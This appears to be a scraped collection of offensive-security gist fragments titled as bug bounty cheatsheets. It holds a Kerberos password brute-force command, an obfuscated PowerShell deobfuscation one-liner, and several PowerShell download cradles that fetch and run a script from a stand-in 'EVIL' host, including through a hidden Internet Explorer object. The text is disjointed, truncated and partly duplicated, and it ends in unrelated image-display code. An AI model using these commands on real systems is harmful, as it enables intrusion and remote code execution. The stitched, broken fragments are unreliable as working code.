Dave Hardy davehardy20

Bug Bounty Checklist and Cheatsheets

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

Obfuscated FromBase64String with -bxor nice for dynamic strings deobfuscation:

$t=([type]('{1}{0}'-f'vert','Con'));($t::(($t.GetMethods()|?{$_.Name-clike'F*g'}).Name).Invoke('Yk9CA05CA0hMV0I=')|%{$_-bxor35}|%{[char]$_})-join''

This is a simple guide to perform javascript recon in the bugbounty

The first step is to collect possibly several javascript files (more files = more paths,parameters -> more vulns)

	from hashlib import md5, sha1
	from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
	from cryptography.hazmat.backends import default_backend
	from base64 import b64encode, b64decode
	import sys, time
	import requests

	DEFAULT_MASTERKEY=b'p1a2l3o4a5l6t7o8'

	class PanCrypt():

	site.com/file.php
	response = nothing

	http://site.com/file.php~
	response = source
	-------------------------------------
	https://github.com/kleiton0x00/CRLF-one-liner
	------------------------------------------
	try to add admin as your user,
	change his email to yours,

	site.com/file.php
	response = nothing

	http://site.com/file.php~
	response = source
	-------------------------------------
	https://github.com/kleiton0x00/CRLF-one-liner
	------------------------------------------
	try to add admin as your user,
	change his email to yours,

	using System;
	using System.Collections.Generic;
	using System.Diagnostics;
	using System.Linq;
	using System.Runtime.InteropServices;
	using System.Text;
	using System.Threading.Tasks;

	namespace HiddenEventLogs
	{

	# normal download cradle
	IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

	# PowerShell 3.0+
	IEX (iwr 'http://EVIL/evil.ps1')

	# hidden IE com object
	$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

	# Msxml2.XMLHTTP COM object

	# Loosely based on http://www.vistax64.com/powershell/202216-display-image-powershell.html

	[void][reflection.assembly]::LoadWithPartialName("System.Windows.Forms")

	$file = (get-item 'C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg')
	#$file = (get-item "c:\image.jpg")

	$img = [System.Drawing.Image]::Fromfile($file);

	# This tip from http://stackoverflow.com/questions/3358372/windows-forms-look-different-in-powershell-and-powershell-ise-why/3359274#3359274